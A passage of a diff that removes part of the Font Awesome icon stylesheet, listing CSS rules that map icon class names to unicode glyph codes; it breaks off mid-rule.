-.fa-plane-lock::before {
- content: "\e558"; }
-
-.fa-tag::before {
- content: "\f02b"; }
-
-.fa-comment::before {
- content: "\f075"; }
-
-.fa-cake-candles::before {
- content: "\f1fd"; }
-
-.fa-birthday-cake::before {
- content: "\f1fd"; }
-
-.fa-cake::before {
- content: "\f1fd"; }
-
-.fa-envelope::before {
- content: "\f0e0"; }
-
-.fa-angles-up::before {
- content: "\f102"; }
-
-.fa-angle-double-up::before {
- content: "\f102"; }
-
-.fa-paperclip::before {
- content: "\f0c6"; }
-
-.fa-arrow-right-to-city::before {
- content: "\e4b3"; }
-
-.fa-ribbon::before {
- content: "\f4d6"; }
-
-.fa-lungs::before {
- content: "\f604"; }
-
-.fa-arrow-up-9-1::before {
- content: "\f887"; }
-
-.fa-sort-numeric-up-alt::before {
- content: "\f887"; }
-
-.fa-litecoin-sign::before {
- content: "\e1d3"; }
-
-.fa-border-none::before {
- content: "\f850"; }
-
-.fa-circle-nodes::before {
- content: "\e4e2"; }
-
-.fa-parachute-box::before {
- content: "\f4cd"; }
-
-.fa-indent::before {
- content: "\f03c"; }
-
-.fa-truck-field-un::before {
- content: "\e58e"; }
-
-.fa-hourglass::before {
- content: "\f254"; }
-
-.fa-hourglass-empty::before {
- content: "\f254"; }
-
-.fa-mountain::before {
- content: "\f6fc"; }
-
-.fa-user-doctor::before {
- content: "\f0f0"; }
-
-.fa-user-md::before {
- content: "\f0f0"; }
-
-.fa-circle-info::before {
- content: "\f05a"; }
-
-.fa-info-circle::before {
- content: "\f05a"; }
-
-.fa-cloud-meatball::before {
- content: "\f73b"; }
-
-.fa-camera::before {
- content: "\f030"; }
-
-.fa-camera-alt::before {
- content: "\f030"; }
-
-.fa-square-virus::before {
- content: "\e578"; }
-
-.fa-meteor::before {
- content: "\f753"; }
-
-.fa-car-on::before {
- content: "\e4dd"; }
-
-.fa-sleigh::before {
- content: "\f7cc"; }
-
-.fa-arrow-down-1-9::before {
- content: "\f162"; }
-
-.fa-sort-numeric-asc::before {
- content: "\f162"; }
-
-.fa-sort-numeric-down::before {
- content: "\f162"; }
-
-.fa-hand-holding-droplet::before {
- content: "\f4c1"; }
-
-.fa-hand-holding-water::before {
- content: "\f4c1"; }
-
-.fa-water::before {
- content: "\f773"; }
-
-.fa-calendar-check::before {
- content: "\f274"; }
-
-.fa-braille::before {
- content: "\f2a1"; }
-
-.fa-prescription-bottle-medical::before {
- content: "\f486"; }
-
-.fa-prescription-bottle-alt::before {
- content: "\f486"; }
-
-.fa-landmark::before {
- content: "\f66f"; }
-
-.fa-truck::before {
- content: "\f0d1"; }
-
-.fa-crosshairs::before {
- content: "\f05b"; }
-
-.fa-person-cane::before {
- content: "\e53c"; }
-
-.fa-tent::before {
- content: "\e57d"; }
-
-.fa-vest-patches::before {
- content: "\e086"; }
-
-.fa-check-double::before {
- content: "\f560"; }
-
-.fa-arrow-down-a-z::before {
- content: "\f15d"; }
-
-.fa-sort-alpha-asc::before {
- content: "\f15d"; }
-
-.fa-sort-alpha-down::before {
- content: "\f15d"; }
-
-.fa-money-bill-wheat::before {
- content: "\e52a"; }
-
-.fa-cookie::before {
- content: "\f563"; }
-
-.fa-arrow-rotate-left::before {
- content: "\f0e2"; }
-
-.fa-arrow-left-rotate::before {
- content: "\f0e2"; }
-
-.fa-arrow-rotate-back::before {
- content: "\f0e2"; }
-
-.fa-arrow-rotate-backward::before {
- content: "\f0e2"; }
-
-.fa-undo::before {
- content: "\f0e2"; }
-
-.fa-hard-drive::before {
- content: "\f0a0"; }
-
-.fa-hdd::before {
- content: "\f0a0"; }
-
-.fa-face-grin-squint-tears::before {
- content: "\f586"; }
-
-.fa-grin-squint-tears::before {
- content: "\f586"; }
-
-.fa-dumbbell::before {
- content: "\f44b"; }
-
-.fa-rectangle-list::before {
- content: "\f022"; }
-
-.fa-list-alt::before {
- content: "\f022"; }
-
-.fa-tarp-droplet::before {
- content: "\e57c"; }
-
-.fa-house-medical-circle-check::before {
- content: "\e511"; }
-
-.fa-person-skiing-nordic::before {
- content: "\f7ca"; }
-
-.fa-skiing-nordic::before {
- content: "\f7ca"; }
-
-.fa-calendar-plus::before {
- content: "\f271"; }
-
-.fa-plane-arrival::before {
- content: "\f5af"; }
-
-.fa-circle-left::before {
- content: "\f359"; }
-
-.fa-arrow-alt-circle-left::before {
- content: "\f359"; }
-
-.fa-train-subway::before {
- content: "\f239"; }
-
-.fa-subway::before {
- content: "\f239"; }
-
-.fa-chart-gantt::before {
- content: "\e0e4"; }
-
-.fa-indian-rupee-sign::before {
- content: "\e1bc"; }
-
-.fa-indian-rupee::before {
- content: "\e1bc"; }
-
-.fa-inr::before {
- content: "\e1bc"; }
-
-.fa-crop-simple::before {
- content: "\f565"; }
-
-.fa-crop-alt::before {
- content: "\f565"; }
-
-.fa-money-bill-1::before {
- content: "\f3d1"; }
-
-.fa-money-bill-alt::before {
- content: "\f3d1"; }
-
-.fa-left-long::before {
- content: "\f30a"; }
-
-.fa-long-arrow-alt-left::before {
- content: "\f30a"; }
-
-.fa-dna::before {
- content: "\f471"; }
-
-.fa-virus-slash::before {
- content: "\e075"; }
-
-.fa-minus::before {
- content: "\f068"; }
-
-.fa-subtract::before {
- content: "\f068"; }
-
-.fa-chess::before {
- content: "\f439"; }
-
-.fa-arrow-left-long::before {
- content: "\f177"; }
-
-.fa-long-arrow-left::before {
- content: "\f177"; }
-
-.fa-plug-circle-check::before {
- content: "\e55c"; }
-
-.fa-street-view::before {
- content: "\f21d"; }
-
-.fa-franc-sign::before {
- content: "\e18f"; }
-
-.fa-volume-off::before {
- content: "\f026"; }
-
-.fa-hands-asl-interpreting::before {
- content: "\f2a3"; }
-
-.fa-american-sign-language-interpreting::before {
- content: "\f2a3"; }
-
-.fa-asl-interpreting::before {
- content: "\f2a3"; }
-
-.fa-hands-american-sign-language-interpreting::before {
- content: "\f2a3"; }
-
-.fa-gear::before {
- content: "\f013"; }
-
-.fa-cog::before {
- content: "\f013"; }
-
-.fa-droplet-slash::before {
- content: "\f5c7"; }
-
-.fa-tint-slash::before {
- content: "\f5c7"; }
-
-.fa-mosque::before {
- content: "\f678"; }
-
-.fa-mosquito::before {
- content: "\e52b"; }
-
-.fa-star-of-david::before {
- content: "\f69a"; }
-
-.fa-person-military-rifle::before {
- content: "\e54b"; }
-
-.fa-cart-shopping::before {
- content: "\f07a"; }
-
-.fa-shopping-cart::before {
- content: "\f07a"; }
-
-.fa-vials::before {
- content: "\f493"; }
-
-.fa-plug-circle-plus::before {
- content: "\e55f"; }
-
-.fa-place-of-worship::before {
- content: "\f67f"; }
-
-.fa-grip-vertical::before {
- content: "\f58e"; }
-
-.fa-arrow-turn-up::before {
- content: "\f148"; }
-
-.fa-level-up::before {
- content: "\f148"; }
-
-.fa-u::before {
- content: "\55"; }
-
-.fa-square-root-variable::before {
- content: "\f698"; }
-
-.fa-square-root-alt::before {
- content: "\f698"; }
-
-.fa-clock::before {
- content: "\f017"; }
-
-.fa-clock-four::before {
- content: "\f017"; }
-
-.fa-backward-step::before {
- content: "\f048"; }
-
-.fa-step-backward::before {
- content: "\f048"; }
-
-.fa-pallet::before {
- content: "\f482"; }
-
-.fa-faucet::before {
- content: "\e005"; }
-
-.fa-baseball-bat-ball::before {
- content: "\f432"; }
-
-.fa-s::before {
- content: "\53"; }
-
-.fa-timeline::before {
- content: "\e29c"; }
-
-.fa-keyboard::before {
- content: "\f11c"; }
-
-.fa-caret-down::before {
- content: "\f0d7"; }
-
-.fa-house-chimney-medical::before {
- content: "\f7f2"; }
-
-.fa-clinic-medical::before {
- content: "\f7f2"; }
-
-.fa-temperature-three-quarters::before {
- content: "\f2c8"; }
-
-.fa-temperature-3::before {
- content: "\f2c8"; }
-
-.fa-thermometer-3::before {
- content: "\f2c8"; }
-
-.fa-thermometer-three-quarters::before {
- content: "\f2c8"; }
-
-.fa-mobile-screen::before {
- content: "\f3cf"; }
-
-.fa-mobile-android-alt::before {
- content: "\f3cf"; }
-
-.fa-plane-up::before {
- content: "\e22d"; }
-
-.fa-piggy-bank::before {
- content: "\f4d3"; }
-
-.fa-battery-half::before {
- content: "\f242"; }
-
-.fa-battery-3::before {
- content: "\f242"; }
-
-.fa-mountain-city::before {
- content: "\e52e"; }
-
-.fa-coins::before {
- content: "\f51e"; }
-
-.fa-khanda::before {
- content: "\f66d"; }
-
-.fa-sliders::before {
- content: "\f1de"; }
-
-.fa-sliders-h::before {
- content: "\f1de"; }
-
-.fa-folder-tree::before {
- content: "\f802"; }
-
-.fa-network-wired::before {
- content: "\f6ff"; }
-
-.fa-map-pin::before {
- content: "\f276"; }
-
-.fa-hamsa::before {
- content: "\f665"; }
-
-.fa-cent-sign::before {
- content: "\e3f5"; }
-
-.fa-flask::before {
- content: "\f0c3"; }
-
-.fa-person-pregnant::before {
- content: "\e31e"; }
-
-.fa-wand-sparkles::before {
- content: "\f72b"; }
-
-.fa-ellipsis-vertical::before {
- content: "\f142"; }
-
-.fa-ellipsis-v::before {
- content: "\f142"; }
-
-.fa-ticket::before {
- content: "\f145"; }
-
-.fa-power-off::before {
- content: "\f011"; }
-
-.fa-right-long::before {
- content: "\f30b"; }
-
-.fa-long-arrow-alt-right::before {
- content: "\f30b"; }
-
-.fa-flag-usa::before {
- content: "\f74d"; }
-
-.fa-laptop-file::before {
- content: "\e51d"; }
-
-.fa-tty::before {
- content: "\f1e4"; }
-
-.fa-teletype::before {
- content: "\f1e4"; }
-
-.fa-diagram-next::before {
- content: "\e476"; }
-
-.fa-person-rifle::before {
- content: "\e54e"; }
-
-.fa-house-medical-circle-exclamation::before {
- content: "\e512"; }
-
-.fa-closed-captioning::before {
- content: "\f20a"; }
-
-.fa-person-hiking::before {
- content: "\f6ec"; }
-
-.fa-hiking::before {
- content: "\f6ec"; }
-
-.fa-venus-double::before {
- content: "\f226"; }
-
-.fa-images::before {
- content: "\f302"; }
-
-.fa-calculator::before {
- content: "\f1ec"; }
-
-.fa-people-pulling::before {
- content: "\e535"; }
-
-.fa-n::before {
- content: "\4e"; }
-
-.fa-cable-car::before {
- content: "\f7da"; }
-
-.fa-tram::before {
- content: "\f7da"; }
-
-.fa-cloud-rain::before {
- content: "\f73d"; }
-
-.fa-building-circle-xmark::before {
- content: "\e4d4"; }
-
-.fa-ship::before {
- content: "\f21a"; }
-
-.fa-arrows-down-to-line::before {
- content: "\e4b8"; }
-
-.fa-download::before {
- content: "\f019"; }
-
-.fa-face-grin::before {
- content: "\f580"; }
-
-.fa-grin::before {
- content: "\f580"; }
-
-.fa-delete-left::before {
- content: "\f55a"; }
-
-.fa-backspace::before {
- content: "\f55a"; }
-
-.fa-eye-dropper::before {
- content: "\f1fb"; }
-
-.fa-eye-dropper-empty::before {
- content: "\f1fb"; }
-
-.fa-eyedropper::before {
- content: "\f1fb"; }
-
-.fa-file-circle-check::before {
- content: "\e5a0"; }
-
-.fa-forward::before {
- content: "\f04e"; }
-
-.fa-mobile::before {
- content: "\f3ce"; }
-
-.fa-mobile-android::before {
- content: "\f3ce"; }
-
-.fa-mobile-phone::before {
- content: "\f3ce"; }
-
-.fa-face-meh::before {
- content: "\f11a"; }
-
-.fa-meh::before {
- content: "\f11a"; }
-
-.fa-align-center::before {
- content: "\f037"; }
-
-.fa-book-skull::before {
- content: "\f6b7"; }
-
-.fa-book-dead::before {
- content: "\f6b7"; }
-
-.fa-id-card::before {
- content: "\f2c2"; }
-
-.fa-drivers-license::before {
- content: "\f2c2"; }
-
-.fa-outdent::before {
- content: "\f03b"; }
-
-.fa-dedent::before {
- content: "\f03b"; }
-
-.fa-heart-circle-exclamation::before {
- content: "\e4fe"; }
-
-.fa-house::before {
- content: "\f015"; }
-
-.fa-home::before {
- content: "\f015"; }
-
-.fa-home-alt::before {
- content: "\f015"; }
-
-.fa-home-lg-alt::before {
- content: "\f015"; }
-
-.fa-calendar-week::before {
- content: "\f784"; }
-
-.fa-laptop-medical::before {
- content: "\f812"; }
-
-.fa-b::before {
- content: "\42"; }
-
-.fa-file-medical::before {
- content: "\f477"; }
-
-.fa-dice-one::before {
- content: "\f525"; }
-
-.fa-kiwi-bird::before {
- content: "\f535"; }
-
-.fa-arrow-right-arrow-left::before {
- content: "\f0ec"; }
-
-.fa-exchange::before {
- content: "\f0ec"; }
-
-.fa-rotate-right::before {
- content: "\f2f9"; }
-
-.fa-redo-alt::before {
- content: "\f2f9"; }
-
-.fa-rotate-forward::before {
- content: "\f2f9"; }
-
-.fa-utensils::before {
- content: "\f2e7"; }
-
-.fa-cutlery::before {
- content: "\f2e7"; }
-
-.fa-arrow-up-wide-short::before {
- content: "\f161"; }
-
-.fa-sort-amount-up::before {
- content: "\f161"; }
-
-.fa-mill-sign::before {
- content: "\e1ed"; }
-
-.fa-bowl-rice::before {
- content: "\e2eb"; }
-
-.fa-skull::before {
- content: "\f54c"; }
-
-.fa-tower-broadcast::before {
- content: "\f519"; }
-
-.fa-broadcast-tower::before {
- content: "\f519"; }
-
-.fa-truck-pickup::before {
- content: "\f63c"; }
-
-.fa-up-long::before {
- content: "\f30c"; }
-
-.fa-long-arrow-alt-up::before {
- content: "\f30c"; }
-
-.fa-stop::before {
- content: "\f04d"; }
-
-.fa-code-merge::before {
- content: "\f387"; }
-
-.fa-upload::before {
- content: "\f093"; }
-
-.fa-hurricane::before {
- content: "\f751"; }
-
-.fa-mound::before {
- content: "\e52d"; }
-
-.fa-toilet-portable::before {
- content: "\e583"; }
-
-.fa-compact-disc::before {
- content: "\f51f"; }
-
-.fa-file-arrow-down::before {
- content: "\f56d"; }
-
-.fa-file-download::before {
- content: "\f56d"; }
-
-.fa-caravan::before {
- content: "\f8ff"; }
-
-.fa-shield-cat::before {
- content: "\e572"; }
-
-.fa-bolt::before {
- content: "\f0e7"; }
-
-.fa-zap::before {
- content: "\f0e7"; }
-
-.fa-glass-water::before {
- content: "\e4f4"; }
-
-.fa-oil-well::before {
- content: "\e532"; }
-
-.fa-vault::before {
- content: "\e2c5"; }
-
-.fa-mars::before {
- content: "\f222"; }
-
-.fa-toilet::before {
- content: "\f7d8"; }
-
-.fa-plane-circle-xmark::before {
- content: "\e557"; }
-
-.fa-yen-sign::before {
- content: "\f157"; }
-
-.fa-cny::before {
- content: "\f157"; }
-
-.fa-jpy::before {
- content: "\f157"; }
-
-.fa-rmb::before {
- content: "\f157"; }
-
-.fa-yen::before {
- content: "\f157"; }
-
-.fa-ruble-sign::before {
- content: "\f158"; }
-
-.fa-rouble::before {
- content: "\f158"; }
-
-.fa-rub::before {
- content: "\f158"; }
-
-.fa-ruble::before {
- content: "\f158"; }
-
-.fa-sun::before {
- content: "\f185"; }
-
-.fa-guitar::before {
- content: "\f7a6"; }
-
-.fa-face-laugh-wink::before {
- content: "\f59c"; }
-
-.fa-laugh-wink::before {
- content: "\f59c"; }
-
-.fa-horse-head::before {
- content: "\f7ab"; }
-
-.fa-bore-hole::before {
- content: "\e4c3"; }
-
-.fa-industry::before {
- content: "\f275"; }
-
-.fa-circle-down::before {
- content: "\f358"; }
-
-.fa-arrow-alt-circle-down::before {
- content: "\f358"; }
-
-.fa-arrows-turn-to-dots::before {
- content: "\e4c1"; }
-
-.fa-florin-sign::before {
- content: "\e184"; }
-
-.fa-arrow-down-short-wide::before {
- content: "\f884"; }
-
-.fa-sort-amount-desc::before {
- content: "\f884"; }
-
-.fa-sort-amount-down-alt::before {
- content: "\f884"; }
-
-.fa-less-than::before {
- content: "\3c"; }
-
-.fa-angle-down::before {
- content: "\f107"; }
-
-.fa-car-tunnel::before {
- content: "\e4de"; }
-
-.fa-head-side-cough::before {
- content: "\e061"; }
-
-.fa-grip-lines::before {
- content: "\f7a4"; }
-
-.fa-thumbs-down::before {
- content: "\f165"; }
-
-.fa-user-lock::before {
- content: "\f502"; }
-
-.fa-arrow-right-long::before {
- content: "\f178"; }
-
-.fa-long-arrow-right::before {
- content: "\f178"; }
-
-.fa-anchor-circle-xmark::before {
- content: "\e4ac"; }
-
-.fa-ellipsis::before {
- content: "\f141"; }
-
-.fa-ellipsis-h::before {
- content: "\f141"; }
-
-.fa-chess-pawn::before {
- content: "\f443"; }
-
-.fa-kit-medical::before {
- content: "\f479"; }
-
-.fa-first-aid::before {
- content: "\f479"; }
-
-.fa-person-through-window::before {
- content: "\e5a9"; }
-
-.fa-toolbox::before {
- content: "\f552"; }
-
-.fa-hands-holding-circle::before {
- content: "\e4fb"; }
-
-.fa-bug::before {
- content: "\f188"; }
-
-.fa-credit-card::before {
- content: "\f09d"; }
-
-.fa-credit-card-alt::before {
- content: "\f09d"; }
-
-.fa-car::before {
- content: "\f1b9"; }
-
-.fa-automobile::before {
- content: "\f1b9"; }
-
-.fa-hand-holding-hand::before {
- content: "\e4f7"; }
-
-.fa-book-open-reader::before {
- content: "\f5da"; }
-
-.fa-book-reader::before {
- content: "\f5da"; }
-
-.fa-mountain-sun::before {
- content: "\e52f"; }
-
-.fa-arrows-left-right-to-line::before {
- content: "\e4ba"; }
-
-.fa-dice-d20::before {
- content: "\f6cf"; }
-
-.fa-truck-droplet::before {
- content: "\e58c"; }
-
-.fa-file-circle-xmark::before {
- content: "\e5a1"; }
-
-.fa-temperature-arrow-up::before {
- content: "\e040"; }
-
-.fa-temperature-up::before {
- content: "\e040"; }
-
-.fa-medal::before {
- content: "\f5a2"; }
-
-.fa-bed::before {
- content: "\f236"; }
-
-.fa-square-h::before {
- content: "\f0fd"; }
-
-.fa-h-square::before {
- content: "\f0fd"; }
-
-.fa-podcast::before {
- content: "\f2ce"; }
-
-.fa-temperature-full::before {
- content: "\f2c7"; }
-
-.fa-temperature-4::before {
- content: "\f2c7"; }
-
-.fa-thermometer-4::before {
- content: "\f2c7"; }
-
-.fa-thermometer-full::before {
- content: "\f2c7"; }
-
-.fa-bell::before {
- content: "\f0f3"; }
-
-.fa-superscript::before {
- content: "\f12b"; }
-
-.fa-plug-circle-xmark::before {
- content: "\e560"; }
-
-.fa-star-of-life::before {
- content: "\f621"; }
-
-.fa-phone-slash::before {
- content: "\f3dd"; }
-
-.fa-paint-roller::before {
- content: "\f5aa"; }
-
-.fa-handshake-angle::before {
- content: "\f4c4"; }
-
-.fa-hands-helping::before {
- content: "\f4c4"; }
-
-.fa-location-dot::before {
- content: "\f3c5"; }
-
-.fa-map-marker-alt::before {
- content: "\f3c5"; }
-
-.fa-file::before {
- content: "\f15b"; }
-
-.fa-greater-than::before {
- content: "\3e"; }
-
-.fa-person-swimming::before {
- content: "\f5c4"; }
-
-.fa-swimmer::before {
- content: "\f5c4"; }
-
-.fa-arrow-down::before {
- content: "\f063"; }
-
-.fa-droplet::before {
- content: "\f043"; }
-
-.fa-tint::before {
- content: "\f043"; }
-
-.fa-eraser::before {
- content: "\f12d"; }
-
-.fa-earth-americas::before {
- content: "\f57d"; }
-
-.fa-earth::before {
- content: "\f57d"; }
-
-.fa-earth-america::before {
- content: "\f57d"; }
-
-.fa-globe-americas::before {
- content: "\f57d"; }
-
-.fa-person-burst::before {
- content: "\e53b"; }
-
-.fa-dove::before {
- content: "\f4ba"; }
-
-.fa-battery-empty::before {
- content: "\f244"; }
-
-.fa-battery-0::before {
- content: "\f244"; }
-
-.fa-socks::before {
- content: "\f696"; }
-
-.fa-inbox::before {
- content: "\f01c"; }
-
-.fa-section::before {
- content: "\e447"; }
-
-.fa-gauge-high::before {
- content: "\f625"; }
-
-.fa-tachometer-alt::before {
- content: "\f625"; }
-
-.fa-tachometer-alt-fast::before {
- content: "\f625"; }
-
-.fa-envelope-open-text::before {
- content: "\f658"; }
-
-.fa-hospital::before {
- content: "\f0f8"; }
-
-.fa-hospital-alt::before {
- content: "\f0f8"; }
-
-.fa-hospital-wide::before {
- content: "\f0f8"; }
-
-.fa-wine-bottle::before {
- content: "\f72f"; }
-
-.fa-chess-rook::before {
- content: "\f447"; }
-
-.fa-bars-staggered::before {
- content: "\f550"; }
-
-.fa-reorder::before {
- content: "\f550"; }
-
-.fa-stream::before {
- content: "\f550"; }
-
-.fa-dharmachakra::before {
- content: "\f655"; }
-
-.fa-hotdog::before {
- content: "\f80f"; }
-
-.fa-person-walking-with-cane::before {
- content: "\f29d"; }
-
-.fa-blind::before {
- content: "\f29d"; }
-
-.fa-drum::before {
- content: "\f569"; }
-
-.fa-ice-cream::before {
- content: "\f810"; }
-
-.fa-heart-circle-bolt::before {
- content: "\e4fc"; }
-
-.fa-fax::before {
- content: "\f1ac"; }
-
-.fa-paragraph::before {
- content: "\f1dd"; }
-
-.fa-check-to-slot::before {
- content: "\f772"; }
-
-.fa-vote-yea::before {
- content: "\f772"; }
-
-.fa-star-half::before {
- content: "\f089"; }
-
-.fa-boxes-stacked::before {
- content: "\f468"; }
-
-.fa-boxes::before {
- content: "\f468"; }
-
-.fa-boxes-alt::before {
- content: "\f468"; }
-
-.fa-link::before {
- content: "\f0c1"; }
-
-.fa-chain::before {
- content: "\f0c1"; }
-
-.fa-ear-listen::before {
- content: "\f2a2"; }
-
-.fa-assistive-listening-systems::before {
- content: "\f2a2"; }
-
-.fa-tree-city::before {
- content: "\e587"; }
-
-.fa-play::before {
- content: "\f04b"; }
-
-.fa-font::before {
- content: "\f031"; }
-
-.fa-table-cells-row-lock::before {
- content: "\e67a"; }
-
-.fa-rupiah-sign::before {
- content: "\e23d"; }
-
-.fa-magnifying-glass::before {
- content: "\f002"; }
-
-.fa-search::before {
- content: "\f002"; }
-
-.fa-table-tennis-paddle-ball::before {
- content: "\f45d"; }
-
-.fa-ping-pong-paddle-ball::before {
- content: "\f45d"; }
-
-.fa-table-tennis::before {
- content: "\f45d"; }
-
-.fa-person-dots-from-line::before {
- content: "\f470"; }
-
-.fa-diagnoses::before {
- content: "\f470"; }
-
-.fa-trash-can-arrow-up::before {
- content: "\f82a"; }
-
-.fa-trash-restore-alt::before {
- content: "\f82a"; }
-
-.fa-naira-sign::before {
- content: "\e1f6"; }
-
-.fa-cart-arrow-down::before {
- content: "\f218"; }
-
-.fa-walkie-talkie::before {
- content: "\f8ef"; }
-
-.fa-file-pen::before {
- content: "\f31c"; }
-
-.fa-file-edit::before {
- content: "\f31c"; }
-
-.fa-receipt::before {
- content: "\f543"; }
-
-.fa-square-pen::before {
- content: "\f14b"; }
-
-.fa-pen-square::before {
- content: "\f14b"; }
-
-.fa-pencil-square::before {
- content: "\f14b"; }
-
-.fa-suitcase-rolling::before {
- content: "\f5c1"; }
-
-.fa-person-circle-exclamation::before {
- content: "\e53f"; }
-
-.fa-chevron-down::before {
- content: "\f078"; }
-
-.fa-battery-full::before {
- content: "\f240"; }
-
-.fa-battery::before {
- content: "\f240"; }
-
-.fa-battery-5::before {
- content: "\f240"; }
-
-.fa-skull-crossbones::before {
- content: "\f714"; }
-
-.fa-code-compare::before {
- content: "\e13a"; }
-
-.fa-list-ul::before {
- content: "\f0ca"; }
-
-.fa-list-dots::before {
- content: "\f0ca"; }
-
-.fa-school-lock::before {
- content: "\e56f"; }
-
-.fa-tower-cell::before {
- content: "\e585"; }
-
-.fa-down-long::before {
- content: "\f309"; }
-
-.fa-long-arrow-alt-down::before {
- content: "\f309"; }
-
-.fa-ranking-star::before {
- content: "\e561"; }
-
-.fa-chess-king::before {
- content: "\f43f"; }
-
-.fa-person-harassing::before {
- content: "\e549"; }
-
-.fa-brazilian-real-sign::before {
- content: "\e46c"; }
-
-.fa-landmark-dome::before {
- content: "\f752"; }
-
-.fa-landmark-alt::before {
- content: "\f752"; }
-
-.fa-arrow-up::before {
- content: "\f062"; }
-
-.fa-tv::before {
- content: "\f26c"; }
-
-.fa-television::before {
- content: "\f26c"; }
-
-.fa-tv-alt::before {
- content: "\f26c"; }
-
-.fa-shrimp::before {
- content: "\e448"; }
-
-.fa-list-check::before {
- content: "\f0ae"; }
-
-.fa-tasks::before {
- content: "\f0ae"; }
-
-.fa-jug-detergent::before {
- content: "\e519"; }
-
-.fa-circle-user::before {
- content: "\f2bd"; }
-
-.fa-user-circle::before {
- content: "\f2bd"; }
-
-.fa-user-shield::before {
- content: "\f505"; }
-
-.fa-wind::before {
- content: "\f72e"; }
-
-.fa-car-burst::before {
- content: "\f5e1"; }
-
-.fa-car-crash::before {
- content: "\f5e1"; }
-
-.fa-y::before {
- content: "\59"; }
-
-.fa-person-snowboarding::before {
- content: "\f7ce"; }
-
-.fa-snowboarding::before {
- content: "\f7ce"; }
-
-.fa-truck-fast::before {
- content: "\f48b"; }
-
-.fa-shipping-fast::before {
- content: "\f48b"; }
-
-.fa-fish::before {
- content: "\f578"; }
-
-.fa-user-graduate::before {
- content: "\f501"; }
-
-.fa-circle-half-stroke::before {
- content: "\f042"; }
-
-.fa-adjust::before {
- content: "\f042"; }
-
-.fa-clapperboard::before {
- content: "\e131"; }
-
-.fa-circle-radiation::before {
- content: "\f7ba"; }
-
-.fa-radiation-alt::before {
- content: "\f7ba"; }
-
-.fa-baseball::before {
- content: "\f433"; }
-
-.fa-baseball-ball::before {
- content: "\f433"; }
-
-.fa-jet-fighter-up::before {
- content: "\e518"; }
-
-.fa-diagram-project::before {
- content: "\f542"; }
-
-.fa-project-diagram::before {
- content: "\f542"; }
-
-.fa-copy::before {
- content: "\f0c5"; }
-
-.fa-volume-xmark::before {
- content: "\f6a9"; }
-
-.fa-volume-mute::before {
- content: "\f6a9"; }
-
-.fa-volume-times::before {
- content: "\f6a9"; }
-
-.fa-hand-sparkles::before {
- content: "\e05d"; }
-
-.fa-grip::before {
- content: "\f58d"; }
-
-.fa-grip-horizontal::before {
- content: "\f58d"; }
-
-.fa-share-from-square::before {
- content: "\f14d"; }
-
-.fa-share-square::before {
- content: "\f14d"; }
-
-.fa-child-combatant::before {
- content: "\e4e0"; }
-
-.fa-child-rifle::before {
- content: "\e4e0"; }
-
-.fa-gun::before {
- content: "\e19b"; }
-
-.fa-square-phone::before {
- content: "\f098"; }
-
-.fa-phone-square::before {
- content: "\f098"; }
-
-.fa-plus::before {
- content: "\2b"; }
-
-.fa-add::before {
- content: "\2b"; }
-
-.fa-expand::before {
- content: "\f065"; }
-
-.fa-computer::before {
- content: "\e4e5"; }
-
-.fa-xmark::before {
- content: "\f00d"; }
-
-.fa-close::before {
- content: "\f00d"; }
-
-.fa-multiply::before {
- content: "\f00d"; }
-
-.fa-remove::before {
- content: "\f00d"; }
-
-.fa-times::before {
- content: "\f00d"; }
-
-.fa-arrows-up-down-left-right::before {
- content: "\f047"; }
-
-.fa-arrows::before {
- content: "\f047"; }
-
-.fa-chalkboard-user::before {
- content: "\f51c"; }
-
-.fa-chalkboard-teacher::before {
- content: "\f51c"; }
-
-.fa-peso-sign::before {
- content: "\e222"; }
-
-.fa-building-shield::before {
- content: "\e4d8"; }
-
-.fa-baby::before {
- content: "\f77c"; }
-
-.fa-users-line::before {
- content: "\e592"; }
-
-.fa-quote-left::before {
- content: "\f10d"; }
-
-.fa-quote-left-alt::before {
- content: "\f10d"; }
-
-.fa-tractor::before {
- content: "\f722"; }
-
-.fa-trash-arrow-up::before {
- content: "\f829"; }
-
-.fa-trash-restore::before {
- content: "\f829"; }
-
-.fa-arrow-down-up-lock::before {
- content: "\e4b0"; }
-
-.fa-lines-leaning::before {
- content: "\e51e"; }
-
-.fa-ruler-combined::before {
- content: "\f546"; }
-
-.fa-copyright::before {
- content: "\f1f9"; }
-
-.fa-equals::before {
- content: "\3d"; }
-
-.fa-blender::before {
- content: "\f517"; }
-
-.fa-teeth::before {
- content: "\f62e"; }
-
-.fa-shekel-sign::before {
- content: "\f20b"; }
-
-.fa-ils::before {
- content: "\f20b"; }
-
-.fa-shekel::before {
- content: "\f20b"; }
-
-.fa-sheqel::before {
- content: "\f20b"; }
-
-.fa-sheqel-sign::before {
- content: "\f20b"; }
-
-.fa-map::before {
- content: "\f279"; }
-
-.fa-rocket::before {
- content: "\f135"; }
-
-.fa-photo-film::before {
- content: "\f87c"; }
-
-.fa-photo-video::before {
- content: "\f87c"; }
-
-.fa-folder-minus::before {
- content: "\f65d"; }
-
-.fa-store::before {
- content: "\f54e"; }
-
-.fa-arrow-trend-up::before {
- content: "\e098"; }
-
-.fa-plug-circle-minus::before {
- content: "\e55e"; }
-
-.fa-sign-hanging::before {
- content: "\f4d9"; }
-
-.fa-sign::before {
- content: "\f4d9"; }
-
-.fa-bezier-curve::before {
- content: "\f55b"; }
-
-.fa-bell-slash::before {
- content: "\f1f6"; }
-
-.fa-tablet::before {
- content: "\f3fb"; }
-
-.fa-tablet-android::before {
- content: "\f3fb"; }
-
-.fa-school-flag::before {
- content: "\e56e"; }
-
-.fa-fill::before {
- content: "\f575"; }
-
-.fa-angle-up::before {
- content: "\f106"; }
-
-.fa-drumstick-bite::before {
- content: "\f6d7"; }
-
-.fa-holly-berry::before {
- content: "\f7aa"; }
-
-.fa-chevron-left::before {
- content: "\f053"; }
-
-.fa-bacteria::before {
- content: "\e059"; }
-
-.fa-hand-lizard::before {
- content: "\f258"; }
-
-.fa-notdef::before {
- content: "\e1fe"; }
-
-.fa-disease::before {
- content: "\f7fa"; }
-
-.fa-briefcase-medical::before {
- content: "\f469"; }
-
-.fa-genderless::before {
- content: "\f22d"; }
-
-.fa-chevron-right::before {
- content: "\f054"; }
-
-.fa-retweet::before {
- content: "\f079"; }
-
-.fa-car-rear::before {
- content: "\f5de"; }
-
-.fa-car-alt::before {
- content: "\f5de"; }
-
-.fa-pump-soap::before {
- content: "\e06b"; }
-
-.fa-video-slash::before {
- content: "\f4e2"; }
-
-.fa-battery-quarter::before {
- content: "\f243"; }
-
-.fa-battery-2::before {
- content: "\f243"; }
-
-.fa-radio::before {
- content: "\f8d7"; }
-
-.fa-baby-carriage::before {
- content: "\f77d"; }
-
-.fa-carriage-baby::before {
- content: "\f77d"; }
-
-.fa-traffic-light::before {
